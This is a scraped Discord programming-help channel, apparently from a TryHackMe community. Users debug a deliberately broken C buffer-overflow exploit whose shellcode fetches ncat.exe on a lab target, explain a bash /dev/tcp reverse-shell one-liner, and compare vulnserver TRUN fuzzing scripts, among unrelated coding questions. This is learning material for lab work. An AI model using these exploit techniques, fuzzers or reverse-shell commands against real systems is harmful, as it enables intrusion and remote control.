I dereference and I even changed scrpy first argument to getting the address of pointer to isolate segfault from that line since I get segfault with strcpy(pointer,..) there and yeah

#

Now you sent null pointer to printf func

#

I guess it's getting NULL then

#

after pointer=strrchr()..

#

So I guess that's why segfault is happening because of strrchr more specifically not finding xcc anywhere?

#

segfault is happening becuase you keep sending null pointer to functions (even if you were to comment out strcpy in your last iamge you would get segfault because of printf) to send pointer address and not what is pointing at. Use &pointer to send address of pointer.

Also yes pointer is given NULL value from strrchr because after strrchr fals to find 0xcc in the provided string it returns NULL. Also even before strrchr you initiliazed pointer with NULL, so its pointer in your program is always null from the start

#

(sorry for messy writing)

#

yeah I changed that initialization to

#

Ok now pointer is showing to some new memory block at heap

#

and I guess it has some address. I highly suggest to always check your pointers for null

if(pointer=NULL)
{
    printf("error");
}
else
...

#

smth like that

#

let me add that

#

after every memory allocation and usage like this "pointer=some_function_that_can_return_null()"

#

actually taht wouldnt even hit printf wouldn't it since if it's null it's null and so segfault since dereferencing a null pointer

#

pointer==null

#

my bad

#

oh I don't have to dereference it to see if its null?

#

That should work if I recall

#

okay let me try

#

yeah it works okay

#

It says pointer is NULL

#

yea

#

I changed 0xcc to "cc" and even "xcc" and I dereferenced and it says 99

#

make it printf %x

#

so its in hex

#

ok

#

I mean if you want to know at what address its pointing

#

"" double quotes gives me null

#

"xcc" gave you null?

#

do you have xcc in your string?

#

yeah in buf at the end

#

should work then, works for me

#

when I do 'c' it's fine and it gives me the character value c.

#

no no, just do pointer

#

Shouldnt I be doing just pointer and not &pointer

#

yeah okay

#

&pointer is address of the pointer

pointer is address to which pointer is pointing at

#

yeah

#

okay so I'm definitely getting an address

#

of course different everytime since I'm assuming ASLR

#

can you inject the code by simply doing it like that?

#

with 1 c

#

it would point to second to last c in string

#

I mean it IS saying c

#

you could also do pointer-1
(pointer arithemtic)

that would point to start of xcc in string

#

okay let me try it

#

I hope this manipulation is right.

#

The exploit is broken on purpose so it won't be easy for bad hackers to use it

#

"script kiddies" (please no one shoot me)

#

Not sure about that,

#

But I think I got the idea, you are trying to put in shellcode at the end of xcc so it will cause some error/bug or whatever

#

yeah thats what the comments say

#

also check your shellcode printf("%s");

You might be not injecting the whole of it but just "xEB"

#

Thats what I was thinking but theres no compilation error for multiline character arrays

#

same thing. No segfault but windows target doesn't open a ncat connection on port 9999 which is what the payload does, it downloads ncat.exe and listens on 9999 on the target machine.l

#

thats why I'm assuming theres something wrong

#

Yeah add shellcode properly

#

thats why 0xcc is searched for in strrchr

#

Just to confirm shellcode gets initilized properly, and let me figure the 0xcc

#

ok

#

I dont understand what is arn

#

is that meant to trick you? should you be using \r\n

#

I think it's just malforming the http request as many times as it needs to so that its like
GET / HTTP/1.0
a
a...
xcc

#

Try it like this

#define EXEC"GET / HTTP/1.0rn""arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn""arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn""arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn""arn" "arn" "arn" "arn" "arn" "arn" "arn""xcc"
#

I'm assumed no because of the two strcat(buf, "rn") lines below strcpy() that are meant to be the 2 CR end of request blanks

#

it's concatenating rn at the end of buf so I'm assuming it doesn't need \rn

#

but I would have to escape that in C code right?

#

like\\r\\n?

#

I substracted 2 from pointer to get to x instead of c in xcc.

#

Idk if it's like that

#

but for addresses wouldn't a character be 1 byte?

#

if you searched for c or cc it would point at first c, so you need to do pointer--;

#

so only go back once

#

No I searched for c only

#

yeah thatn subtract once

#

pointer-=1;
or
pointer--;
or
pointer=pointer-1;

#

so wont strrchr() search for the last occurrence of c?

#

oh ur right

#

my bad

#

I thought it was first

#

then yeah go back twice as you said

#

okay so that's fine I guess

#

I can also check the address by doing &buf[strlen(buf)-1]?

#

I'll try taht right now

#

But yeah I did pointer - 2 and the payload didn't work

#

But I'm doing the nc command right I'm specifying the tun0 openvpn connection for communicating with the THM network

#

Ok try define like this:

#define EXEC "GET / HTTP/1.0\r\n" \
             "\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" \
             "\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" \
             "\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" \
             "\xcc"
#

and lets say this is fine, and also try to search for xcc now, if that works then we can move on next issue

lilac holly
lilac holly
#

let me do it to the two RNs at the end of strcpy

#

for the #define

#

let me check

#

Would that escape be fine?

#

I think so

#

hmm

#

not sure

#

why double \

#

"\"

#
\\
#

wouldn't if I leave it \r\n that would expand according to compiler parsing C code?

#

I searched for "xcc" and it says this

#

a warning.

#

In either case pointer is NULL and I get a segfault again

#

and you did "xcc" ?

#

pointer =strrchr(buf,"xcc"); yeah

#

let me keep that a's in

#

cause if I do \r\n\r\n the first 2 would signify the end of the http request

#

are you sure it does that

#

I think so

#

I thought it just adds bunch of white space

#

yeah http 1.0+ signifies end of http request after 2 Carriage return-line feeds which is /r/n

#

thats why it was two CRs at the end
strcat(buf,"rn");
strcat(buf,"rn");

#

buf is the malformed request

#

alr

#

I did this also and im getting pointer to point to xcc

#

add "" and move one line up

#
\
#

Oh I didn't know we would do \

#

ok

#

I'm getting NULL pointer

#

I got it again with removing \ from xcc

#

and now let me do it with \

#

check your buf, printf("%s");

#

what do you think about what I did here: u_char *pointer = malloc(sizeof(shellcode));

#

Should I have done it malloc(strlen(shellcode) + 1) ?

#

the +1 for null terminator?

#

sizeof shellcode should be fine if its not giving u error

#

no error

#

Ok im looking at some other code

#

and this is the way to do it:

#define EXEC "GET / HTTP/1.0rn"
"arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
"arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
"arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
"arn" "arn" "arn" "arn" "arn" "arn" "arn"
"xcc"

#

but guy did a lot more changes

#
  • in every line is what he changed ig
#

I will have to go sleep now, even though im sad we couldnt finish this till end but I gotta go, 9 hours of lectures tomorrow

#

oh wow thanks for searching that up

#

I wish you luck and strenght

#

and thank you for helping me

#

I'll continue with this.

#

@lilac holly thanks

wispy kestrelBOT
#

Gave +1 Rep to @unkempt imp

lilac holly
#

rep blobfingerguns

lilac holly
#

Oh right I completely forgot about pointer pointing to the address of buf and this print out of the request makes it possible to see that the shellcode is injected at xCC

#

and the 2 RN at the end to end the request

#

I'm doing printf from now on kekw

#

So it looks fine. And it says its vuln but not being able to nc makes it not okay.

#

Learned so much C though pikapika

wicked scaffold
#

Hello people

#

I wanted to know

#

If I could get some advice on oval files

#

*pcap

magic falcon
#

OVAL definition files or pcaps? They are very different.

wicked scaffold
#

Ovals

#

Sorry

#

I mean pcap files

#

@magic falcon sorry for the confusion

wicked scaffold
#

So can u help me?

onyx cliff
#

How can one practice EDR bypasses when most EDRs are paid and expensive, is there any free EDR which might be more challenging to bypass than an antivirus?

onyx merlin
onyx cliff
#

Thanks and sorry, wasn't sure where to post this

wraith latch
cobalt pine
#

Anyone who is learning java here, i want to learn java

#

Ping me

wraith latch
hollow sorrel
#

What discord library do you guys use?

#

for creating bots

surreal bronze
#

discordpy

odd hare
#

Hi today I came across a terminology "accelerated system sleep call" does anyone have any idea what it is about.

true pumice
hollow sorrel
#

how do you like... make it 1 column only

true pumice
#

@narrow terrace - discordpy
@modest basin Discord.js

hollow sorrel
#

this but the field are only in 1 column

true pumice
#

Are you saying you just want it to be like "test 1, test 2"
or like"test1, test3, test4"

hollow sorrel
#

test1
test2
test3
test4

#

like this

true pumice
#

No clue how to do it in py but if you have the code, just remove the section that says test2 😁

hollow sorrel
#

when i try it out, it does is do

hollow sorrel
#

test1 test2 test3
test4 test5

surreal bronze
#

inline=False

#

@hollow sorrel

#

add that to your fields

hollow sorrel
#

Thanks @surreal bronze , it worked 😄

wispy kestrelBOT
#

Gave +1 Rep to @surreal bronze

hollow sorrel
#

@surreal bronze , have you been able to use paginations in discord embeds?

surreal bronze
#

yeah

#

its not too hard

#

just edit the embeds fields and use reactions

onyx merlin
surreal bronze
#

Or buttons that works too

#

I made mine before buttons were a thing

onyx merlin
#

Mostly just wondering if there was some horrific incompatibility that'd cause you to use one over the other

surreal bronze
#

reactions have been around for donkeys years so you'll probably find them easier to get help with / more stable then buttons which are quite recent, especially in dpy

wispy socket
#

If I want to make a simple media player is ok to use python?

lilac holly
#

try searching about the python module of vlc and libraries like pyqt or wxpython (for the gui)

paper bolt
#

question. Trying to git pull from a systemd service with git setup using a SSH key with a passphrase. (ubuntu)

#

I set the systemd service to be USER=$(logname) and GROUP=$(logname) and it recognizes the key in ~/.ssh/

#

however it tries to request passphrase. Which unless I allow tty (which I don't want will fail

#
debug1: read_passphrase: can't open /dev/tty: No such device or address
ssh_askpass: exec(/usr/bin/ssh-askpass): No such file or directory
#

is there a way to allow my service to be allowed to use this file

#

without passphrase and keeping it relatively secure otherwise?

brazen eagle
#

It's looking for ssh-askpass, maybe something to look into?

onyx merlin
#

(I know secrets management solutions are out there, I'd push you towards those)

paper bolt
#

@onyx merlin do you have any recommendations to look into

#

@brazen eagle askpass is usually invoked if ssh-add wasn't used

#

which it was for root and user

#

outside of systemctl no probs

#

ran with systemctl that

#

alternatively, I could use personal access tokens and have no problem but felt ssh keys with passphrases was a more secure way to go

hollow sorrel
#

Is flask more of a middleware type of framework?

#

Thinking of an S3 -> Flask Lightsail type of website for a project I'm building. Its more related to a fast food ordering system

#

Thinking of what framework to build on

#

I mainly do Python but can learn other languages if need be

brazen eagle
surreal bronze
#
import random
print(random.Random(3168481).choices(range(14),k=6))
#

Run this and see if you can notice anything special about the numbers 😛

brazen eagle
#

does it work beyond 6?

#

ah nope, too bad

sick scarab
#

im having a little trouble with error codes in c, i have a file with a bunch of error names with numbers associated with each error but im trying to figure out a way when an error occurs, the variable name (which is essentially the type of error) and the value are printed out. any ideas?

lilac holly
#

Anyone has any tips for frustration when learning to code? I understand the syntax but I have a hard time applying what I have learned to fix the coding problem. Just did my first python course and it was on THM the most was easy, did 85% of the tasks on my own but needed a bit help on the other questions.

stoic badger
#

Break down your problem and the control flow either in writing or verbally.
People often get hung up on "It's not doing what I told it to do", without actually thinking about what you, the developer, wrote. Walk through each line of code thinking very specifically about how the computer is interpreting it, and you'll eventually get somewhere with that.

#

There's also the problem in some cases where you have the algorithm figured out, but you don't know how to express it, and that's what Google documentation is for.

magic falcon
#

Completely inappropriate. Do not post anything like this again.

lilac holly
brazen eagle
magic falcon
#

Running a diagram tool against the codebase can also show what the control flow is actually doing, comparing intended vs actual flow is a very visual way to see problems

brazen eagle
#

What @magic falcon said. This is why he gets paid more than me 😉

magic falcon
brazen eagle
#

I am dev in Europe, that means I get paid in peanuts and pizza...

#

Though actually starting a new project/role

lyric mirage
#

Pizza sounds good...

earnest swallow
tight gull
#

what realistic programming projects do yall recommend in python? for beginner

lunar tendon
#

does someone know how to code a simple three dot waiting animation in python
like
waiting...
yall get me? lmao

lunar tendon
tight gull
#

Although just started making it, currently making the database with just file handling and python sockets

lunar tendon
#

me personally i wouldnt call that beginner

lunar tendon
#

exactly

#

but maybe more like

#

.

#

..

#

...

harsh birch
#

Hello guys, I have a question/problem about PowerShell dash sign. Currently I'm learning about PowerShell and when I try the command "get-help get-service -full" the -full part doesn't appear on the screen. And it executes the full part even though it's not there.

#

And here it executes the -ShowWindow part even though it doesn't appear

#

how can I solve this problem?

vapid cloak
harsh birch
#

yeah

#

Even though I write that part it's not displayed

#

and it's successfully executed. it just doesn't write anything that starts with -

vapid cloak
#

Can you highlight the missing part in the terminal?

harsh birch
#

No

vapid cloak
#

Like, does it show up when you click and drag?

harsh birch
#

No, it doesn't

harsh birch
#

but it doesn't show " -ShowWindow "

vapid cloak
#

It sounds like a terminal color scheme or configuration issue. If the command is executing then it’s working you’re just not seeing the full input specified

harsh birch
#

Definitely, I tried a lot of things but haven't been able to solve yet

vapid cloak
#

I would revert to a fresh powershell terminal if possible. I don’t know your setup but it sounds like a customization or program interacting with powershell is the root cause

#

That’s about all the direction I can provide, sorry

harsh birch
#

Thank you 🙂 I'll try harder.

vapid cloak
#

👍

tulip sail
#

Knew I was forgetting something

gilded mountain
wraith latch
harsh birch
sour compass
tribal steppe
lilac holly
surreal bronze
#

@sour compass Look up ANSI escape codes

#

\r is a carriage return, it returns the cursor to the beginning of the line

#

we use \r because that's the C-escape code

#

and pythons interpreter is written in...C!

sour compass
surreal bronze
#

Follow the code line by line

#
for i in range(1, 4):
  print("." * i, end="\r")
  time.sleep(1)
#

i starts as 1

#

| will be the cursor
so we output .|, and at the end \r. The interpreter recognises this and brings the cursor to the start of the line |.

#

Now, i is 2, so you output .., and because the cursor is at |., it will be ..|

#

the cursor isn't jumping to a new line (normally, the end is \n which means go a new line

sour compass
#

oh umm i get the code but when i tried that on an online ide it prints me a right Pyramid

#

like this

#

.

#

..

#

...

surreal bronze
#

Maybe it doesn't support escape codes?

sour compass
#

so i thought maybe his cursor is not returning

#

ohh

#

i dont have pycharm right now il try later tysm for the info man👍

surreal bronze
#

Yeah, so mostly all terminal emulators support it but other ways of outputting STDOUT might not

sour compass
#

i thought the /r seems buggy

surreal bronze
#

in your case on the online IDE

sour compass
#

oh i see ok got it

tulip sail
#

It's an escape code

magic falcon
#

you need to do some experimenting on what \r is supposed to mean vs what actual implementation does

sour compass
magic falcon
#

and muiri pointed you in the right direction..... but manipulating file output like that doesn't occur the way you expect

sour compass
brazen eagle
#

Though to be fair, windows implements line endings in the most literal way possible

magic falcon
surreal bronze
#

some weird floating point stuff I presume?

magic falcon
#

Nope. Look at what the definition of parseInt does. That's absolutely intended behavior

#

oh wait, i missed the last one

#

That.... is weird

#

which language is that in?

surreal bronze
#

js apparently

#

just tested it now

magic falcon
#

that should be in the allowable range, what environment are you doing this in?

surreal bronze
#

Just opened up Dev tools and did it in the console

#

Oh I see

#

It parses it to 5e-7

magic falcon
#

if it does that, it should throw NaN and not zero

#

official parseInt() docs say that e is not a valid digit and so should return NaN.

#

there's a clarification that if the first digit is valid and a succeeding character is invalid, the value is truncated prior to the first invalid digit

surreal bronze
#

Yup, hence why it's 5 I guess

tulip sail
#

You really expect JS to behave even remotely sanely? kekw

#

If it behaved even a margin more ridiculous then I would expect to see it in white makeup, a massive wig and a bright red nose, making balloon animals whilst grocery shopping at an aquarium

magic falcon
inland hazel
modest basinBOT
#

@pastel grove has been warned.

chrome carbon
magic falcon
#

"path" is ambiguous in how you're describing

#

the volume is a file on disk that docker manages and knows how to provide to containers. Typically in a docker-compose, the volume path is the path inside the container where the volume should be mounted

wicked scaffold
#

Guys I’m having a bit of difficulty with building a round robin load balancer with JavaScript was wondering if anyone could give me some insight

brazen eagle
brazen eagle
lilac holly
#

How to write pretty codes instead of using 30 variables and another 50 flag variables to cover edge cases

earnest swallow
lilac holly
wispy kestrelBOT
#

Gave +1 Rep to @earnest swallow

magic falcon
#

Test Driven Development by Example by Beck is a great introduction to TDD. Don't be offput by how old the book is, IMO it's still the best intro to TDD.

wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

nova berry
#

Hi everyone. I was going through the Zero Logon room: https://tryhackme.com/room/zer0logon and on task 3 a Python script for a Proof of Concept is analyzed. In that code there is the following line if not (3 <= len(sys.argv) <= 4):

My question is, is that line not the same as: if not (len(sys.argv) == 3): or even simpler if len(sys.argv) != 3?

#

The task text says that with this line: "we are checking for the amount of parameters, and ensuring that it's exactly 3 (zerologon_tester.py DCNAME IP)"

brazen eagle
earnest swallow
magic falcon
nova berry
brazen eagle
#

also requires more discipline than winging it

solar notch
#

Hi All, please i need smtp

cyan radish
#

Hello Hackers,

I am makeing a script to install Go language automatically but when I am trying to define path variables using sudo. I am getting errors.

Reason 1:
Why I am defining variables using sudo because I want to install httprobe and many more tools using "sudo go install" command.

Reason 2:
If I run go install command without sudo then I am getting errors.

Thank you in advance
It will be highly appreciated 😇

brazen eagle
#

do you really need sudo for that?

onyx merlin
brazen eagle
#

^

ancient dagger
#

Are there who can programming in C language ? Ineed help with hw.

onyx merlin
#

@ancient dagger we don't do homework help here

mild portal
#

Hi, everyone

#

How are you?

#

Nice to meet you

#

I have good experience in mobile and web applications.

#

web: react, vue, node, angular, php and so on

#

mobile: React Native, Flutter, swiftUI, java, kotlin.

#

Thanks.

lilac holly
plain notch
lilac holly
# plain notch can you tell me the best place to learn C ?

No, but I can tell you how Im doing it, college + competitive programming. I learned a lot doing the competition problems, they really make you think and understanmd 100% of what you are doing. I can spend up to 5-6 hours just figuring out the proper way of solving some problem and in that time I learn a lot and how some small special things behave in C

brazen eagle
#

check the pins for some fun sites

dawn grail
wide gazelle
#

can someone explain to me how "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" works

#

I am not sure I can follow what is redirected to what

hollow sorrel
wide gazelle
#
  1. starts a interactive bash
  2. not exacly sure, I guess redirects stdout to file
  3. tcp port
  4. redirect stdin to stdout?
true pumice
# wide gazelle can someone explain to me how "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" works

bash -i
This command launches a Bash shell with the -i option, which stands for interactive mode. This means that the shell will remain open and interactive after executing the command.

>& /dev/tcp/10.0.0.0/9999
This redirects the standard output and standard error streams to the specified IP address and port number. /dev/tcp is a special file system in Linux that allows accessing TCP sockets as if they were files. This means that the output and error streams will be sent to the specified IP address and port number.

0>&1
This redirects the standard input stream to the standard output stream. This means that any input received will be sent to the victim's machine as output.

fallen widget
#

Hi guys I have C related question.
This is my code

#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[], char* envp[]){
  int a = strcmp(argv[1], "\x00");   // not 0
  printf("a : %i \n\n", a);

  return 0;
}

I then did these commands (a.out is executable of the code above)

$ ./a.out "\x00"
$ ./a.out '\x00'
$ ./a.out \x00

I expected at least one of them would return 0 meaning the argv[1] and "\x00" in the source code is the same. But none of them returned 0. Why is that??

hollow sorrel
#

\x00 is not 0

#

it is null

#

the null character is not printable

#

Also, return 0 indicates successful exec of code

dawn grail
lilac holly
inland hazel
#

oh noes.... not the broken echo binary

stray crag
#

Hi everyone what is a good book to learn API programming ?

tepid spruce
hollow sorrel
#

Is there a way that with every push of my code, I "rebuild" my discord bot

#

is that CI/CD...

true pumice
#

Are you using GitHub?

hollow sorrel
#

Mhm mhm

true pumice
#

GitHub Workflows is the way to go

hollow sorrel
#

can you recommend a simple way of implementation through workflows?

true pumice
surreal bronze
#

I think I remember you saying earlier your running discordpy

true pumice
#

Just have to be sure

surreal bronze
#

What do you mean by "rebuild"? Like re-running it with the updated code?

true pumice
#

^^

#

Just what I was about to ask

true pumice
#

Where is your application being held/ hosted?

hollow sorrel
hollow sorrel
timber fable
#

hi

hollow sorrel
#

I'm planning to host it on a VPS but docker might not be available with the cheapest VPS deal

timber fable
#

can I ask about a bof script issue here ?

surreal bronze
#

So you'd need to make a workflow that every time there is an update on the GitHub, you server will pull the changes and re run it

hollow sorrel
#

I'm looking at the push event as the trigger but after that I'm lost

timber fable
#

why does this script crash my vulnserver (expected)

#!/usr/bin/python
 
import sys, socket
from time import sleep
 
buffer = "A" * 100
 
while True:
    try:
        payload = "TRUN /.:/" + buffer
 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.1.23',9999))
        print ("[+] Sending the payload...\n" + str(len(buffer)))
        s.send((payload.encode()))
        s.close()
        sleep(1)
        buffer = buffer + "A"*100
    except:
        print ("The fuzzing crashed at %s bytes" % str(len(buffer)))
        sys.exit()

while this one doesn't

#!/usr/bin/env python3

import socket, time, sys

ip = "192.168.1.23"

port = 9999
timeout = 5
prefix = "TRUN /.:/"

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)
#

even though they're sending the exact same strings

true pumice
# hollow sorrel I'm looking at the push event as the trigger but after that I'm lost

Okay, so you're basically staging your application.

For a normal application there's the name

Name: Discord.py Bot

Then there's when you want it to be executed

on:
  push:
    branches:
      - main # only execute when pushed to main

And then there's your jobs.
Jobs are what tasks are going to be taken out to prepare your code.
For example,

# Define a job named "test"
jobs:
  test:
    # Name the job "Run Tests"
    name: Run Tests
    # Specify the operating system to run the job on
    runs-on: ubuntu-latest
    # Define the steps to run in the job
    steps:
      # Check out the code from the repository
      - name: Checkout Code
        uses: actions/checkout@v2
      # Set up Python environment
      - name: Set up Python
        uses: actions/setup-python@v2
        with:
          # Specify the version of Python to use
          python-version: 3.9
      # Install dependencies required to run the tests
      - name: Install Dependencies
        run: |
          # Upgrade pip to the latest version
          python -m pip install --upgrade pip
          # Install the required packages specified in requirements.txt
          pip install -r requirements.txt
      # Run the tests using pytest
      - name: Run Tests
        run: python -m pytest

CI/CD always has a testing phase to make sure the code is up to scratch before it is pushed to prod

#

It's a lot to learn trust me, but once you do it once, you'll probably never have to do it again for that application.

true pumice
#

Their docs are really great, I would take a few hours to read and fully understand them

hollow sorrel
true pumice
#

Mhm

#

I didn't supply that one so you could think about it:)

hollow sorrel
#

Ah, but the deployment is only available thru cloud providers, no?